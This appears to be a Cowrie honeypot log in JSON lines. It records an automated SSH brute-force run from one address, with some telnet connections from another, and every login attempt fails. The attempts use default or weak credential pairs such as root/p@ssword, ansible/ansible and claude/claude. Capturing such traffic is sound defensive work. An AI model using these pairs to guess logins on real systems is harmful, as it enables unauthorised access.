{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46078,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1dc47f4d638","protocol":"ssh","message":"New connection: 192.109.200.237:46078 (159.203.135.109:22) [session: a1dc47f4d638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:00.318364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:00.323241Z","src_ip":"192.109.200.237","session":"a1dc47f4d638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:00.406219Z","src_ip":"192.109.200.237","session":"a1dc47f4d638","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:00.654242Z","src_ip":"192.109.200.237","session":"a1dc47f4d638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:01.741144Z","src_ip":"192.109.200.237","session":"a1dc47f4d638","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46118,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2d83715ebe3","protocol":"ssh","message":"New connection: 192.109.200.237:46118 (159.203.135.109:22) [session: a2d83715ebe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:04.372378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:04.376938Z","src_ip":"192.109.200.237","session":"a2d83715ebe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:04.458733Z","src_ip":"192.109.200.237","session":"a2d83715ebe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:04.707914Z","src_ip":"192.109.200.237","session":"a2d83715ebe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47824,"dst_ip":"10.17.0.5","dst_port":23,"session":"476ae366b622","protocol":"telnet","message":"New connection: 50.6.8.71:47824 (10.17.0.5:23) [session: 476ae366b622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:05.331412Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:05.793920Z","src_ip":"192.109.200.237","session":"a2d83715ebe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54062,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffd5d641f8bf","protocol":"telnet","message":"New connection: 50.6.8.71:54062 (10.17.0.5:23) [session: ffd5d641f8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:07.634488Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46158,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ed3aea4a367","protocol":"ssh","message":"New connection: 192.109.200.237:46158 (159.203.135.109:22) [session: 8ed3aea4a367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:07.970163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:07.974601Z","src_ip":"192.109.200.237","session":"8ed3aea4a367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:08.056814Z","src_ip":"192.109.200.237","session":"8ed3aea4a367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:08.307345Z","src_ip":"192.109.200.237","session":"8ed3aea4a367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:09.391887Z","src_ip":"192.109.200.237","session":"8ed3aea4a367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55770,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e6c2406c639","protocol":"ssh","message":"New connection: 192.109.200.237:55770 (159.203.135.109:22) [session: 1e6c2406c639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:11.523418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:11.660134Z","src_ip":"192.109.200.237","session":"1e6c2406c639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:11.663683Z","src_ip":"192.109.200.237","session":"1e6c2406c639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:12.040633Z","src_ip":"192.109.200.237","session":"1e6c2406c639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54068,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7c8e04440ab","protocol":"telnet","message":"New connection: 50.6.8.71:54068 (10.17.0.5:23) [session: b7c8e04440ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:12.479061Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:13.125847Z","src_ip":"192.109.200.237","session":"1e6c2406c639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54072,"dst_ip":"10.17.0.5","dst_port":23,"session":"17cb92188b30","protocol":"telnet","message":"New connection: 50.6.8.71:54072 (10.17.0.5:23) [session: 17cb92188b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:13.480403Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55776,"dst_ip":"159.203.135.109","dst_port":22,"session":"63698fa1ed26","protocol":"ssh","message":"New connection: 192.109.200.237:55776 (159.203.135.109:22) [session: 63698fa1ed26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:15.257642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:15.262659Z","src_ip":"192.109.200.237","session":"63698fa1ed26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:15.346043Z","src_ip":"192.109.200.237","session":"63698fa1ed26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:15.596566Z","src_ip":"192.109.200.237","session":"63698fa1ed26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:16.681781Z","src_ip":"192.109.200.237","session":"63698fa1ed26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55800,"dst_ip":"159.203.135.109","dst_port":22,"session":"217127128419","protocol":"ssh","message":"New connection: 192.109.200.237:55800 (159.203.135.109:22) [session: 217127128419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:18.825060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:18.834178Z","src_ip":"192.109.200.237","session":"217127128419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:18.916842Z","src_ip":"192.109.200.237","session":"217127128419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:19.164414Z","src_ip":"192.109.200.237","session":"217127128419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:20.250435Z","src_ip":"192.109.200.237","session":"217127128419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36798,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1cea8575ed8","protocol":"ssh","message":"New connection: 192.109.200.237:36798 (159.203.135.109:22) [session: c1cea8575ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:22.448935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:22.453230Z","src_ip":"192.109.200.237","session":"c1cea8575ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:22.535985Z","src_ip":"192.109.200.237","session":"c1cea8575ed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:22.782531Z","src_ip":"192.109.200.237","session":"c1cea8575ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:23.867677Z","src_ip":"192.109.200.237","session":"c1cea8575ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.40108847618103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:26.072245Z","src_ip":"50.6.8.71","session":"d1605514824f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36824,"dst_ip":"159.203.135.109","dst_port":22,"session":"99965d3c2dd1","protocol":"ssh","message":"New connection: 192.109.200.237:36824 (159.203.135.109:22) [session: 99965d3c2dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:26.093802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:26.100975Z","src_ip":"192.109.200.237","session":"99965d3c2dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:26.186141Z","src_ip":"192.109.200.237","session":"99965d3c2dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:31:26.432660Z","src_ip":"192.109.200.237","session":"99965d3c2dd1","protocol":"ssh"}
